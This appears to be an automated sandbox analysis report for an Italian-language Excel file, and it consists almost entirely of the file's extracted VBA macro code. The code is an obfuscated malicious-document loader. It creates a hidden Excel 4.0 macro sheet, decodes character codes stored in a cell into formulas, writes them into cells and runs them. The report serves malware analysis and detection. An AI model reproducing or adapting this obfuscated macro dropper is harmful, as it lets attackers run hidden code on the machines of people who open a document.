Windows Analysis Report 004192374854_4.xls

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function q_sin(a As String)
q_sin = Len(a)
End Function

Function Onto()
Onto = "T" & R_Rt & "O" & "()"
End Function

Function ritor_n(dd As String, i As Integer)
i = r: Sheets(1).[D4].FormulaLocal = dd
End Function

Function r_itorn()
r_itorn = m_tf & "R" & "I"
End Function
Function b_ella()
rom = 7: Sheets(4 - 3).Cells(27, 4).FormulaLocal = r_itorn & Onto
End Function

Sub I_ingrandisci_immage()
ec_e = 3
Excel4MacroSheets.Add(Before:=Worksheets((1))).Name = sc_team: S_mes
v_ve = mi_i
For Each Ax In rem_m
ec_e = 1: ec_e = 5: vG = (ritor_n(m_tf & Ax, 1 + ec_e)): ec_e = 112: Lii ((ec_e))
Next
End Sub

Function mi_i()
mi_i = b_ella
End Function

Sub S_mes()
ActiveSheet.Visible = 0
End Sub
Function R_Rt() As String
R_Rt = sc_team & "RN"
End Function
Sub Lii(w As Long)
numm = w: Run ("" & "D" & 3)
End Sub
Function rem_m() As Variant
For Each Xd In amsoO(Cells(155, 2), 3)
If Not (IsNumeric(Xd)) Then gj = LTrim(Left(Xd, q_sin("" & Xd) - 1)) Else gj = LTrim(Xd)
eh = eh & Chr(gj)
Next
rem_m = Split(eh, "" & "k")
End Function

Function sc_team() As String
sc_team = "O"
End Function
Function m_tf()
m_tf = sc_team: m_tf = "="
End Function

Public Function amsoO(a As String, z As Long) As Variant
Dim q As Long, pk As Long
Dim il() As String
ReDim il(0 To CLng((q_sin(a) / z) - 1))
For q = 1 To q_sin(a) Step z
il(pk) = Mid(a, q, z): pk = pk + 1
Next
amsoO = il
End Function